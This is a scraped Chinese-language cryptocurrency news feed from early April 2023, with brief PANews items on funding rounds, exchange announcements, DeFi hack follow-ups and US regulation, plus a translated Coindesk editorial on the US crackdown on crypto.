    DeFi 平台 M^ZERO 完成 2250 万美元种子轮融资，Pantera Capital 领投 DeFi 平台 M^ZERO 完成 2250 万美元种子轮融资，Pantera Capital 领投，Road Capital、AirTree、Standard Crypto、SALT Fund、ParaFi Capital、Distributed Capital、Kraynos Capital、Earlybird 和 Mouro Capital 参投。所筹资金将用于推进在 DeFi 领域的开创性工作。 据 CoinDesk 介绍，M^ZERO 由具有传统金融和去中心化社区（例如 MakerDAO）背景的用户所有。其首席执行官 Luca Prosperi 表示，该协议的目的是为机构传输价值，及为支付流动性创造一个中立基础设施。 内容来源 观点： Luca Prosperi （ M^ZERO 首席执行官）：可以把 M^ZERO 看成是以太坊上的一个基础设施覆盖层，世界各地的大型资产和流动性提供者可以在这里交换价值，建设者可以创造解决方案，良性的治理对这一点至关重要，我们正在为这一点制定规则和代码，以便从第一天起就尽可能地去中心化。此外， M^ZERO 可能会发行一个治理代币，但最初的分发可能针对大型机构而非公众。【原文为英文】 内容来源  ( 28 min )

  • Open

    做市还是做庄？解密项目方与做市商的“秘密交易”
    做市还是做庄？解密项目方与做市商的“秘密交易” – 深潮TechFlow 撰写：Alex Read the full entry  ( 3 min )
    做市还是做庄？解密项目方与做市商的“秘密交易”
    做市还是做庄？解密项目方与做市商的“秘密交易” – 深潮TechFlow 撰写：Alex Read the full entry  ( 3 min )
    LayerZero热门项目交互（撸毛）教程汇总
    LayerZero热门项目交互（撸毛）教程汇总 – 深潮TechFlow 出品：深潮 TechFlow 研究院 Read the full entry  ( 3 min )
    LayerZero热门项目交互（撸毛）教程汇总
    LayerZero热门项目交互（撸毛）教程汇总 – 深潮TechFlow 出品：深潮 TechFlow 研究院 Read the full entry  ( 3 min )
    潜力流动性质押衍生品一览：EigenLayer、Obol、Alluvial和Ion Protocol
    潜力流动性质押衍生品一览：EigenLayer、Obol、Alluvial和Ion Protocol – 深潮TechFlow 撰写：Bridget Harris， Pantera Capital Read the full entry  ( 3 min )
    潜力流动性质押衍生品一览：EigenLayer、Obol、Alluvial和Ion Protocol
    潜力流动性质押衍生品一览：EigenLayer、Obol、Alluvial和Ion Protocol – 深潮TechFlow 撰写：Bridget Harris， Pantera Capital Read the full entry  ( 3 min )

  • Open

    波卡平行链Moonbeam已恢复出块
    PANews 4月6日消息，波卡平行链Moonbeam推特发文称，宕机的根本原因已经确定，团队已通过升级客户端部署了解决方案。Moonbeam已恢复出块。据此前消息，Moonbeam网络于北京时间晚上10:45左右出现宕机事故。  ( 1 min )
    M11 Credit已重新开放贷款业务
    PANews 4月6日消息，加密信用池平台M11 Credit推特发文称，已重新开放贷款业务，并正在为其在Maple Finance上的新加密贷款池筹集新的资金。此外，该公司还任命了一位新的信贷主管，并升级了风险管理和信贷承销流程。据此前消息，去年11月FTX破产后，M11 Credit管理的资金池被借款人拖欠3600万美元，占Maple Finance活跃贷款数量的约30%。  ( 1 min )
    孙宇晨否认与币安洽谈收购Huobi的提议
    PANews 4月6日消息，据CoinDesk报道，据一位知情人士透露，币安最近已拒绝收购孙宇晨在Huobi的股份。随后孙宇晨在推特发文称，一直将币安视为最重要的合作伙伴之一，并将继续与他们在各个层面密切合作。然而在过去一周，他没有向赵长鹏作出任何收购Huobi股份的提议，他们甚至在过去一周左右的时间里没有讨论过Huobi。Huobi无意变更所有权。据彭博社此前报道，孙宇晨已经就出售Huobi的股份进行了谈判。  ( 1 min )
    火必上线“FTX账户查询服务”
    PANews 4月6日消息，据官方消息，火必上线“FTX账户查询服务”，FTX用户可以使用客户代码在火必和Poloniex查询FTX账户余额。如果不清楚客户代码，用户可以通过其在FTX帐户中持有的货币以及大致金额进行模糊搜索。孙宇晨随后推特发文，称他也是FTX的债权人之一，并表示火必致力于与社区合作，确保FTX用户和债权人最终能收回尽可能多的资产。  ( 1 min )
    一比特币巨鲸刚刚转移超1.77万枚BTC，价值约合4.99亿美元
    PANews 4月5日消息，据mempool.space数据显示，一个BTC巨鲸在比特币区块高度 784,060 处（北京时间 22点46分）将177,69 枚BTC 从177个零散地址整理至单一地址，价值约合4.99亿美元。  ( 1 min )
    破产索赔交易所 OPNX上线以来交易额仅为1.26美元
    PANews 4月5日消息，三箭资本 (3AC) 联合创始人Kyle Davies和Su Zhu共同创立的破产索赔交易所 OPNX自周二上线以来交易量极低。在交易所的所有现货和衍生品市场中，截至目前交易额仅为1.26 美元。该交易所的原生代币 FLEX 在过去 24 小时内下跌了 28%。 目前尚不清楚 OPNX 是否在吸引新客户方面遇到问题，或者是否缺乏需求。但此前Kyle Davies称，OPNX 不会有内部做市商，他认为这一决定不会限制流动性。Su Zhu 周二在一条推文中表示，流动性将“一砖一瓦”地建立起来，交易所正在从 FTX 的失败中吸取教训，避免内部做市商。  ( 1 min )
    DeFi 平台 M^ZERO 完成 2250 万美元种子轮融资，Pantera Capital 领投
    PANews 4月5日消息，据 Coindesk报道，DeFi 平台 M^ZERO 完成 2250 万美元种子轮融资，本轮融资由 Pantera Capital 领投，Road Capital、AirTree、Standard Crypto、SALT Fund、ParaFi Capital、Distributed Capital、Kraynos Capital、Earlybird 和 Mouro Capital 参投。 M^ZERO Labs 首席执行官 Luca Prosperi 称，M^ZERO 旨在实现机构价值传输，为支付流动创建一个中立的基础设施。  ( 1 min )
    PA图说 | 一图掌握以太坊上NFT关键数据（2023.04.05）
    NFT日报全新升级，增加更多新维度，NFT交易时可更全面细致参考！ PANews APP 2.0全新升级，带你挖掘热门NFT，捕捉参与机会，点击此处下载PANews即可体验。  ( 1 min )
    消息人士：肯尼亚一项新法案“提议扩大证券的定义以包括加密资产”
    PANews 4月5日消息，据肯尼亚经济学家Amboko Julians称，东非国家议会将讨论一项提议将区块链技术和数字货币置于肯尼亚资本市场管理局 (CMA) 管辖范围内的法案。除了寻求纳入区块链和加密货币的定义外，Julians表示该法案还提议“扩大‘证券’的含义以涵盖数字货币。” 对于获得数字货币交易许可证的肯尼亚居民，该法案规定这些人必须在 CMA 注册。他们还需要保留所有数字货币交易的记录，并对任何收益纳税。此外，该法案还建议肯尼亚任何拥有或交易数字货币的人都必须披露持有的加密货币数量，以及这些加密货币的获取和处置时间。如果该法案获得肯尼亚议会通过，从事数字货币交易的人员将需要在六个月内向 CMA 申请许可证。  ( 1 min )
    得克萨斯州进一步削减对比特币矿工的激励措施
    PANews 4月5日消息，得克萨斯州立法者一致通过了一项法案，其将取消对当地比特币挖矿业务的税收优惠。该法案由共和党州参议员 Lois Kolkhorst、Donna Campbell 和 Robert Nichols 发起，旨在取消税收减免，并要求使用超过 10 兆瓦 (MW) 的矿工在国家电网运营商 ERCOT 注册为灵活负载运营商。 对此，比特币矿业倡导公司 Satoshi Action Fund 的首席执行官Dennis Porter在推特上表示，该法案将消除矿工在农村社区创造就业机会的激励措施。  ( 1 min )
    灰度GBTC三月日均交易额升至5500万美元，创2022年12月以来新高
    PANews 4月5日消息，据The Block Pro数据显示，灰度的比特币信托基金GBTC日均交易额在三月份增长了67.6%，升至5500万美元，创下自2022年12月以来的新高。此外，三月调整后比特币和以太坊链上总交易额增加了48.8%，上涨至2550亿美元，其中比特币链上交易额增长48.3%，以太坊链上交易额涨幅达到了62.7%。  ( 1 min )
    Ultra计划推出Web3游戏市场Ultra Games，将允许用户转售数字游戏
    PANews 4月5日消息，据Decrypt报道，Web3游戏初创公司Ultra计划于4月25日推出其基于Ultra Layer-1网络构建的Ultra Games市场，将允许用户通过二级市场转售其购买的数字游戏。 该公司透露，新的数字PC游戏商店将推出大约60或70款游戏，包括Cards of Ethernity、Cross the Ages、MARS4等Web3游戏，同时也将推出没有NFT或代币元素的传统“Web2”游戏，包括Lords of the Fallen、The Walking Dead: The Telltale Definitive Series和Syberia游戏系列。  ( 1 min )
    前Coinbase产品经理 Ishan Wahi可能就内幕交易指控达成和解
    PANews 4月5日消息，据The Block报道，前 Coinbase产品经理Ishan Wahi 及其兄弟 Nikhil Wahi或将以同监管机构的合作为由，就内幕交易等指控达成和解。根据联合法庭文件，“SEC 工作人员建议的任何和解都必须在 SEC 内部进行审查并得到 SEC 专员的批准，然后才能提交法院批准，这一过程可能需要数周时间。”约定书要求美国华盛顿西区地方法院主审此案的法官将原定的4月6日截止日期推迟至 6 月15日。 前Coinbase经理Ishan Wahi于去年7月份因美国加密货币内幕交易案被捕，其于今年2月初对内幕交易指控认罪，改变了他的无罪辩护。但Wahi仍在对证券欺诈指控进行抗辩。据悉，在此案件中，美国证券交易委员会（SEC）将9种加密货币列为证券，分别是AMP、RLY、DDX、XYO、RGT、LCX、POWR、DFX和KROM。需要指出的是，Coinbase此前收到韦尔斯通知，但未被指控在 Wahi 案中有任何不当行为。  ( 1 min )
    12张图解读加密行业的“强劲三月”
    作者| The Block研究主管@Lars 编译| PANews 对于加密行业而言，尽管遭遇到USDC脱锚、美国商品期货交易委员会起诉币安及其首席执行官赵长鹏等一系列事件的影响，但近期表现依然十分亮眼，下面就让我们用12张图表解读刚刚过去的“强劲三月”。 1、三月调整后链上总交易额增加了48.8%，上涨至2550亿美元，其中比特币链上交易额增长48.3%，以太坊链上交易额涨幅达到了62.7%。 2、三月调整后的稳定币链上交易额增长至8232亿美元，涨幅达到了47.5%；已发行稳定币供应量小幅收缩至1256亿美元，降幅约为2.3%，其中美元稳定币USDT市场份额升至64.1%，USDC的市场份额降幅较大，为24.6%。 据此前报道，Circle在硅谷银行存有约33亿美元的USDC储备金，而由于硅谷银行三月份破产导致USDC一度出现与美元脱锚的问题，不过之后很快得到了解决。 3、比特币矿工收入在三月份也有较大幅度增长，涨幅为20.5%，升至7.554亿美元，而以太坊质押收入增长了19.4%，达到1.251亿美元。以太坊Shanghai-Capella主网升级预计将在4月12日进行，届时质押的ETH将会被允许提取。 4、三月以太坊网络共销毁了92,057枚ETH，价值相当于1.587亿美元。数据显示，以太坊在整个三月期间都处于通缩状态，此外自2021年8月上旬实施EIP-1559以来，以太坊总计销毁了约304万枚ETH，价值约合91.7亿美元。 5、三月以太坊链上NFT市场交易额出现下降，减少至约13.7亿美元，跌幅达到26.32%。值得一提的是，得益于BLUR代币的成功发行，新晋NFT市场Blur在月交易额等指标上已第二次超越OpenSea。 6、合规中心化交易所（CEX）的现货交易额在三月份增加了7%，达到约7126亿美元。 7、三月各大加密货币交易所的市场份额排名如下：币安为78.1%、Coinbase为6.9%，Kraken为3.9%、Binance US为2.5%。 8、灰度的比特币信托基金GBTC日均交易额在三月份增长了67.6%，升至5500万美元，创下自2022年12月以来的新高。 9、在加密期货方面，三月比特币期货未平仓量上涨7.1%，而以太坊期货未平仓量则出现下跌，降幅为5.8%；在期货交易额方面，比特币期货月交易额在三月的涨幅约为64.7%，达到1.26万亿美元。  10、三月芝商所比特币期货未平仓量增加了15.3%，上涨至20.9亿美元，日均成交金额上涨16.5%，升至14.5亿美元。 11、三月芝商所以太坊期货月均交易额达到6590亿美元，涨幅为32.1%。  12、在加密货币期权方面，比特币和以太坊期权持仓量也都出现上涨，其中比特币期权持仓量涨幅高达92%，以太坊期权持仓量涨幅约为33.3%。比特币和以太坊期权交易额同样普涨，其中比特币期权交易额在三月份增长了68.2%，达到296亿美元；以太坊期权交易额涨幅为19.2%，达到124亿美元。  ( 2 min )
    加密创业者遭Tiktok式打压，美国监管高压下的生存“秘诀”
    从互联网到加密圈，华人项目/创业者正面临一场美国监管“大考”。近期，不断有华人基因的企业和高管被美国监管机构起诉，美国似乎正试图通过铁拳手腕来遏制和打压科技和金融创新。 中美关系持续紧张之际，尽管通过数据库拆分、数据本地存储、第三方监测等多种措施满足美国日渐趋严的监管和合规要求，但TikTok作为中国互联网巨头字节跳动布局海外市场的重要产品，仍面临着美国监管“围剿”。 3月23日，一场针对海外版抖音TikTok是否威胁美国国家安全的听证会在美国国会举行。在这场长达5小时的问讯中，TikTok CEO周受资面临了几十位议员许多充满偏见与敌意的连环质问，不仅本人回应被多次中途打断，TikTok还被质疑是“间谍武器”。而这场关于TikTok甚至出海的中国科技公司命运的“鸿门宴”，美国部门对所有指控却并未拿出任何实质性证据。 从最初的行政令到国会听证会，再从与其他美国科技公司共同被传唤到被单独针对，接二连三的质疑背后的核心是，字节跳动是一家中国公司。中国外交部斥责TikTok听证会是“精心设计的政治表演”，认为美国是“一再泛化国家安全概念，滥用国家力量，打压别国企业。” 无独有偶，非美加密企业也正面临着美国监管机构的严格审查。区块链分析公司Elliptic数据分析显示，自2009年比特币诞生以来，美国监管执法行动对从事加密交易的公司和个人处以的罚款已高达25亿美元。其中除了美国加密企业，一些海外公司往往不得不缴纳巨额费用“破财消灾”，例如总部位于迪拜的Telegram曾被SEC以发行未注册证券而被指控，除了被要求向投资者返还超过12亿美元资金，还需支付1850万美元的民事罚款；总部位于俄罗斯的加密交易所BTC-e则因故意违反美国的反洗钱法律被FinCEN判罚1.1亿美元。 而近期，华人区块链创业者也正面临美国的监管“拷问”。3月27日，美国商品期货交易委员会（CFTC）向芝加哥联邦法院提交了起诉状，近万字的指控书中指出币安及其CEO赵长鹏涉嫌违反监管措施并未能履行其监管义务，并寻求民事货币罚款和补救性附带救济措施，包括但不限于交易和注册禁令、罚没、判决前和判决后利息。不过，币安认为该起诉似乎包含不完整的事实陈述，他们不同意CFTC关于其合规、禁止美国用户访问、与执法部门合作、内幕操作等问题的描述。 值得一提的是，CFTC在对币安诉讼中声称，币安的大部分营收与利润都来自美国，并提到一间匿名的“A交易公司”是币安用来逃避美国监管的公司之一。但随后该公司Radix Trading自曝身份并认为通过这种方式在币安上进行加密货币交易的行为并没有违法，甚至表示“对于总部位于美国且活跃于加密货币领域的交易商来说，这种类型的安排很常见。” 另外，波场TRON创始人孙宇晨也被美SEC正式起诉，指控其及公司涉嫌非法销售证券、欺诈和操控市场，并针对其加密资产名人支持者的单独违规行为提出指控。对此，孙宇晨回应称这种指控缺乏依据，并表示SEC的民事投诉只是它对区块链和加密领域知名参与者采取行动的最新例子。SEC对数字资产的监管框架仍处于起步阶段，需要进一步发展。 显而易见的是，华人创业者正被置于美国政策的强监管聚光灯下。 加密货币是最具活力和创新性、迭代最快的金融产品之一，这对监管制度平衡风险防范和促进创新提出更高要求。 美国对加密领域呈现多头监管的态势，但各监管机构态度不一，比如SEC主席Gary Gensler最为强势的监管者之一，他认为现有的证券法“涵盖了加密市场上进行的大部分活动”，大多数加密货币都是证券，向美国投资者出售加密货币的海外实体需要遵守证券法。 虽然大部分加密项目面对监管机构的起诉选择花钱和解，但并不是所有加密企业都能化解监管危机。比如，加密友好银行Signature Bank就被监管机构关闭，且其收购条件是必须同意放弃该银行的所有加密货币业务。 而美国激进式的监管行动正引起加密社区的不满，在他们看来，美国当前的监管政策过时且缺乏清晰化。比如，近期收到SEC“韦尔斯通知”的Coinbase CEO Brian Armstrong认为SEC对该交易所采取的执法行动是一个对簿公堂的机会，可以揭露监管机构在和数字资产打交道时既不“公平、合理，甚至目的都缺乏严肃性”；Circle首席执行官Jeremy Allaire则警告称，美国的监管行动已经开始迫使市场参与者离开美国，进入监管不力、风险更高、控制松懈的司法管辖区。美国决策者应谨慎对待他们的下一步行动，监管机构采取“清晰、连贯和务实的政策”；孙宇晨则表示，鉴于加密货币行业可以发挥的重要作用，他们渴望与全球各国政府和监管机构合作，致力于建立透明的指导方针，以监管加密货币行业并与之合作。 而CoinDesk对于美国政府的监管行动发布评论称，该国大部分行动都是惩罚性的，而不是建设性的，打击行动超出了现行法律规定的监管机构的权限，并且违反了支撑美国和加密世界的自由和创新精神。 除了加密从业者，不少监管人士也对监管措施表达出了质疑，如SEC前主席Jay Clayton谈及美国数字资产的监管状况缺乏明确性并称其为 "垃圾"；CFTC主席Timothy Massad认为目前美国对加密货币的监管框架不足以保护投资者，即使是美国受监管的加密货币交易所也只受制于已经过时的州货币服务法，在制定投资者保护标准方面是远远不够的。 其实，美国缺乏明确的监管指导方针和粗暴的执法行动背后或与加密监管权之争有很大关系，现阶段缺乏联邦立法监管加密市场，CFTC和SEC等部门都在争夺加密监管权。对于这些美国监管机构而言，如果谁能掌握加密市场的话语权，谁就能够左右行业的市场走向。 与此同时，随着民主党背后的大金主FTX倒台及SBF与民主党密切联系被揭露，拜登政府开始围剿加密市场，而在一年前拜登政府还在强调美国要在全球数字资产治理方面发挥领导作用，如今态度急转直下背后颇耐人寻味。 然而，这种过于严苛的监管方式不仅没有很好地为投资者保驾护航，也没有给加密行业带来足够的“清晰度”，为技术提供创新空间，反而会迫使更多加密企业逃离美国。 近年来，面对全球加密资产监管环境的日趋复杂严峻，唯有合规经营才是长久之道。例如火必Huobi等加密企业通过不断完善和提升业务合规度来应对监管的不断变化，并扩大自身市场规模。 一直以来，火必Huobi都在推动自身业务合规化。除了定期接受第三方审计、启动“默克尔树证明”、承诺100%兑付等来确保资产资产存储方式、透明性和合规性外，为在全球合规化运营，火必Huobi还接连获得加拿大MSB牌照、美国MSB信托牌照、英属维尔京群岛SIBA牌照、直布罗陀DLT牌照等全球多国运营牌照。 而在2022年11月底，火必Huobi还在业务全球化与合规化取得了历史性突破，并开启了Web3.0和元宇宙的全球化进程，经多米尼克政府授权，波场Tron、火必Huobi和DMC Labs合作推出世界上首款国家发行代币DMC（Dominica Coin），并在12月推出首款国家授权认可的去中心化数字身份（Dominica DID）。 同时，伴随着美国等国家加密监管态度趋严，香港加密新政的战略机遇或进一步加速火必Huobi的全球合规透明进程。在去年香港面向加密行业开放态度后，火必Huobi更是迅速开启合规化布局。今年2月，火必Huobi上线了离岸人民币稳定币TCNH（TrueCNH），而香港则是离岸人民币的主要流通地之一，在为全球用户带来更多的新金融机会的同时，还将帮助香港迅速扩大加密版图。 此外，除了计划将亚洲总部将迁至香港，火必Huobi还正在准备申请香港加密货币交易牌照，这是加密交易所迈出的重要一步，也是火必继续致力于以合规和规范的方式运营的标志。火必Huobi还将在香港推出新交易所Huobi Hong Kong，新交易所将专注于为香港的机构投资者和高净值个人提供交易服务。 而未来火必Huobi还将持续深入在香港进行加密布局。孙宇晨透露，香港是“加密货币发展的试验区之一”，火必Huobi将将继续扩大其在香港的业务，全力支持香港新政，重点关注香港后续政策，以期能与港府在稳定币、NFT及交易所业务等领域开展合作，成为香港地区客户及Web3创业者的合作首选。 监管始终是创新技术发展的必备环节。随着Crypto不断向传统领域扩圈发展，这也对行业建立更为安全合规的业务制度提出了更高要求，这也意味着加密企业和创业者面临的诉讼风险将更大，特别是美国对非美企业更为严苛的监管审查下。而监管部门则应建立更为明确的行业标准，且避免因过度监管而遏制技术创新，为产业发展营造良好的发展环境。  ( 1 min )
    Allbridge将对用户进行赔偿，补偿程序预计下周开始
    PANews 4月5日消息，跨链桥Allbridge发布公告，表示已着手对用户进行赔偿。Allbridge在公告中写道：“我们将从因紧急关闭而导致交易陷入待处理状态的网桥用户开始。他们将首先获得补偿，其次是流动性提供者。”其目前正在为无法提取资产的有限合伙人起草一份申请表，允许他们申请赔偿并提供损失详情。该表格预计将在未来两天内完成，补偿程序预计将于下周开始。 此前消息，Allbridge因安全事件导致约57万美元损失，目前一攻击者已归还1500枚BNB，Allbridge正邀请另一攻击者谈判。  ( 1 min )
    Cash App创始人Bob Lee在旧金山遇刺身亡
    PANews 4月5日消息，据Cointelegraph报道，当地时间 4 月 4 日星期二凌晨，Square 前首席技术官兼 Cash App 的创始人 Bob Lee 在旧金山因刺伤身亡。 旧金山警察局 4 月 4 日的一篇帖子解释说，警察在当地时间凌晨 2 点 35 分左右接到了一起刺伤报告，发现一名“43 岁的成年男性受害者身上有明显的刀伤”，并补充道：“警方提供了援助并召集了医务人员到现场。受害人被送往当地一家医院，伤势危及生命。尽管急救人员和医务人员做出了努力，但受害人还是因伤势过重而死亡。”  ( 1 min )
    DOGE第五大持有者过去7天转出超15亿枚DOGE，价值约1.36亿美元
    PANews 4月5日消息，据Bitinfochart数据显示，DOGE第五大持有者“DDuX开头”地址在3月30日至4月5日期间一共转出了超15亿枚的DOGE，价值约合1.36亿美元，据此前报道，该地址在推特网页版LOGO更换成DOGE头像之后转出6.5亿枚DOGE，价值约合6130万美元。  ( 1 min )
    币安将于4月6日对以太坊钱包进行维护，代币交易不受影响
    PANews 4月5日消息，据官方公告，币安将于北京时间2023年4月6日15:00对以太坊网络（ERC20）钱包进行维护，预计需要两个小时。钱包维护期间，以太坊网络代币交易将不受影响。充值、提现业务将于4月6日14:55起暂停，并将在钱包维护完成后重新开放。  ( 1 min )
    CertiK：若Sentiment黑客在规定之间内归还资产，将获9.5万美元奖励
    PANews 4月5日消息，CertiK推特发文称，一小时前有人给Sentiment黑客发送链上信息，表示如果黑客在北京时间4月6日下午4点前归还盗窃资产，将获得9.5万美元的奖励。如果黑客在上述时间没有归还资产，奖金将发放给那些提供黑客信息的人。据此前消息，DeFi借贷协议Sentiment今日凌晨在Arbitrum网络被盗约100万美元，根本原因在于Balancer的只读可重入性。Sentiment官方团队目前正在调查Sentiment协议被盗资金。Sentiment已经采取措施找出漏洞的根本原因，并降低进一步损失的风险。同时团队正与执法部门保持联系，并一直在与第三方审计机构和安全公司合作。  ( 1 min )
    数据：Gemesis已铸造超过4万枚，占总量24.8%
    PANews 4月5日消息， OpenSea数据显示，OpenSea Pro向用户空投的“Gemesis”NFT已铸造44,581枚，占总量的24.8%。据此前消息，OpenSea Pro表示将向Gem用户空投“Gemesis”NFT。在2023年3月31日之前使用过Gem的用户都有资格领取“Gemesis”NFT，该NFT可在OpenSea上直接铸造。  ( 1 min )
    Coindesk社论：美国走进了打击加密货币的“死胡同”
    作者：Coindesk主编Kevin Reynolds 编译：比推BitpushNews Mary Liu 遛狗时，我经常遇到一位名叫“Harry”（化名）的七十多岁老人，他是前纽约市侦探，每天早上都会在附近的高尔夫球场喂养一群流浪猫。我们闲聊了几次，他的世界观包括相信极右翼 QAnon 阴谋论，以及另一场美国内战即将来临，他说他一直在等待某种“信号”。 有时我们谈论加密货币。几天前，我告诉他，由于银行危机和政府压力迅速增加，该行业一直处于艰难时期。 他立刻反问了一句：“你真的认为中央银行和政府会允许法定货币的竞争对手存在吗？” 这让我不寒而栗。Harry 大谈特谈阴谋论，我发现越来越难以反驳。 在短短几周的时间里，人们越来越容易相信——无论对错——在加密交易所 FTX 崩溃后，美国监管机构正试图限制所有境内的加密技术项目（如果不是彻底排斥的话）。 这个阴谋论不需要太多的怀疑，甚至包括前监管机构在内的高级观察员也将此描述为协同攻击（Coordinated Attack）。现任政府对加密货币的敌意在官方声明中很明显，然后就是执法行动。在多年来无视行业对指导和监管的呼吁之后，美国政府似乎正在对加密货币的所有进行报复。 美国证券交易委员会 (SEC) 对包括Kraken和Coinbase在内的加密公司采取了一系列执法行动，而就在几天前，商品期货交易委员会 (CFTC) 起诉了币安。拜登政府上周还发布了“总统经济报告”，该报告指出加密货币不是一项有用的技术，同时重点关注近年来发生的一系列利用加密技术的犯罪欺诈行为。 我不相信存在协同攻击（Coordinated Attack）的原因有两个，一个植根于理想主义，另一个是我的犬儒主义（cynicism）。 首先，这是美国，充满机遇和自由的土地。蓄意攻击加密所代表的经济自由将违背这个国家的价值观。其次，美国–一个基础设施摇摇欲坠的地方，我们的领导层甚至无法集中力量及时修复我们的桥梁和铁路。令人沮丧的是，他们可能更倾向于破坏未来的金融基础设施，而不是维护现在的物理基础设施。CFTC 在其针对币安的诉讼中声称以太坊是一种商品，而SEC和纽约总检察长都认为它是一种证券，这证明了美国联邦层面缺乏监管共识。 但这是否是针对加密货币的打击可能无关紧要。有些人相信这是真的，而且不仅仅是我的朋友Harry。这个想法现在很流行：美国将其用于加密行业。因此，一些公司正在考虑转移到海外，而另一些公司则担心他们会失去或无法获得银行账户。相信这一点的不仅仅是业内人士。例如，银行家们正在拒绝在加密大会上发言的邀请，因为他们担心被监管机构盯上。 如果拜登政府不做出重大改变，美国反对加密货币的观点很快就会变得根深蒂固，无法根除。事实上，美国政府的大部分行动都是惩罚性的，而不是建设性的，这是一个重要因素。 监管机构和白宫需要明确表示，加密在美国是有未来的，没有比为行业提供其渴求的监管清晰度更好的方法了。参议院 Lummis-Gillibrand 的负责任金融创新法等拟议立法中已经制定了更合适的框架蓝图。我们和加密的大部分参与者都欢迎这样的清晰度，但监管机构和许多其他立法者似乎不愿意提供它。 CoinDesk几乎从不就问题采取正式立场。正如过去所指出的，我们通常只是传递事实，而不是对任何给定主题采取官方观点。但在这种情况下，我们的立场应该明确。 Coindesk社论领导层认为，由于美国最近的行动（无论这些行动是否有意），加密面临的威胁是真实存在的，我们需要代表具有潜在优势和经济赋权力量的技术和行业表明立场。 我们认为，监管机构的行动不会成功实现其保护美国人免受欺诈和诈骗的既定目标。早期的例子表明，它极有可能将技术创新推向美国境外。除其他影响外，这将使除了最内行的参与者之外的所有人无法将欺诈活动与合法的创新努力区分开来。 有迹象表明，打击行动超出了现行法律规定的监管机构的权限，并且违反了支撑美国和加密行业的自由和创新精神，我们对此感到震惊。 看起来监管机构正试图阻止加密公司访问传统的银行服务。前国会议员Barney Frank是 2008 年金融危机后更严格的银行业监管的设计者，他表示他担任董事会成员的 Signature Bank 被纽约金融服务部 (NYDFS) 强制清算，因为“监管机构想要发送一个非常强烈的反加密信息”，NYDFS否认了这一指控。 但这一说法似乎得到了银行当局近期举措的支持。3 月 16 日，路透社报道称，美国联邦存款保险公司 (FDIC) 要求 Signature Bank 的潜在买家放弃该银行的加密客户，实质上是拒绝为他们提供进一步的银行服务。FDIC 否认了这一点——但当交易完成时，加密货币客户确实被排除在收购之外。 一些人将这种 sub-rosa 行动称为“窒息点行动2.0”（Operation Choke Point） ——这显然是奥巴马时代流传下来的，该行动旨在将合法但在政治上不受欢迎的企业（包括枪支制造商和小额现金贷款人）踢出银行系统。这些措施似乎不仅规避了正当程序，而且重复了前几届政府已经受到立法者和法律制度严厉惩戒的违法行为。 值得注意的是，FDIC 现任负责人Martin Greunberg是最初的窒息点行动的设计师。 这些质疑最终迎来了一波诉讼和听证会，总的来说，这些诉讼和听证会得出的结论是政府滥用了权力。为了解决各种诉讼，FDIC 承诺进行内部改革，以防止对合法企业的监管过度，包括终止向银行提供有关客户选择的不成文建议，这一承诺的诚意现在看来值得怀疑。 CoinDesk 正在努力揭开最近事件背后的真实故事，并揭露美国是否真的存在协同攻击（Coordinated Attack）来扼杀加密行业。但滥用政府权力的现象足以引起人们的警觉，甚至在事情还未明朗之前。 必须将这种暗地里的反加密议程与针对使用户受害的加密骗局采取的法律行动区分开来。我们非常清楚，与之前的许多前沿技术一样，加密技术对欺诈者极具吸引力。我们对包括 Do Kwon 和 Sam Bankman-Fried 在内的涉嫌罪犯的起诉和可能的监禁表示赞同。我们积极努力阻止欺诈：CoinDesk 的报道揭露了 FTX 涉嫌大规模欺诈，我们在加密借贷机构 Celsius Network和 Terra倒闭之前警告投资者远离它们。 但否认加密工具的开发者和加密服务的创造者在美国银行管理其美元资金的能力并不是反欺诈措施。这是一个Daisy Cutter，可能的结果是“杀敌一千自损八百”。同样，未能为受监管的数字资产发行建立明确的框架，最终会使消费者和执法部门更难阻止欺诈行为，因为它消除了任何获得合法性的途径，即使是最合规的基于数字资产的项目也是如此。 这种扼杀加密的明显努力也产生了连锁反应。如前所述，银行官员明显不太愿意公开谈论加密货币或参加有关该主题的公开小组讨论，因为他们认为他们会以某种方式与监管机构发生冲突。因此，关于该行业未来的辩论有可能成为支持加密货币的“回声室”，而不是可以创造出真理和真正创新的熔炉。 还存在加密货币被政治化的风险。数字资产社区经常回避政党政治，更愿意坚持更大的自由和个人自治原则。事实上，建设性的两党加密立法提案在很大程度上已成为常态——最著名的是由参议员 Cynthia Lummis和 Kirsten Gillibrand发起的综合法案。但现在，政府反对加密货币的看法正威胁着破坏这种开放合作。人们对加密货币的看法可能很快取决于政治派别。如果发生这种情况，没有人会赢。 加密货币确实具有现实世界的用途和好处，包括作为世界各地面临镇压和暴力的人们的金融替代品。仅举一个例子，在俄罗斯入侵之后，加密货币使1 亿美元的援助迅速到达乌克兰——比传统的政府渠道转移的速度更快。 更广泛地说，加密货币已经成为一种工具的宣传纽带，这些工具可以抵制数字权力危险地集中在公司手中，这些公司的数据囤积使监视和审查成为他们的主要交易对象。监视垄断资本的崛起是许多立法者明显关注的话题，他们的权力银行监管者目前似乎正在篡夺。 虽然投机推动了数字资产的大部分市场活动（很像科技股市场），但它们的价格也受到当前用户实际需求的推动。每天都有数十亿美元的价值通过比特币网络在世界各地流动。 比特币和许多其他加密货币即使在全面、不分青红皂白的监管打击下也能在功能运作上毫发无损。这就是关键：这些系统的设计目标是让个人能够在数字时代控制自己的命运，与政府和企业结构分开。 在这方面，加密货币符合作为美国价值观的基本原则。美国宪法所载的宗教、言论自由和其他权利是在全世界传播自由的蓝图，它们帮助数百万人增加了人类的繁荣、幸福和财富。 现在，这些保护措施对许多美国人来说似乎很正常，但它们曾被老牌强国视为危险和破坏稳定的力量。时至今日，即使在美国的土地上，威权主义者也不断重蹈覆辙，通过审查和限制寻求安全的假象。 鉴于这一现实，使个人财务主权成为民主社会中理所当然的保护，就像今天的言论和宗教自由一样，显然仍有很长的路要走。我希望相信阴谋论的朋友最终被证明是错误的，拜登政府不是要扼杀加密货币。假设情况确实如此，白宫需要清楚地表明其积极意图。例如，它应该支持两党的努力，通过立法授权 SEC 制定与数字资产有关的证券法的明确指导方针。 来吧，请证明Harry错了。  ( 2 min )
    币安将于4月7日移除ACM/BTC等多个现货交易对
    PANews 4月5日消息，据官方公告，币安将于4月7日移除并停止ACM/BTC、ALICE/BNB、BAR/BTC、DOGE/RUB、ENJ/BNB、FTM/RUB、GMT/AUD、HOT/EUR、OMG/ETH、RUNE/TRY等现货交易对交易。  ( 1 min )
    新Gem变身OpenSea Pro正面对决Blur
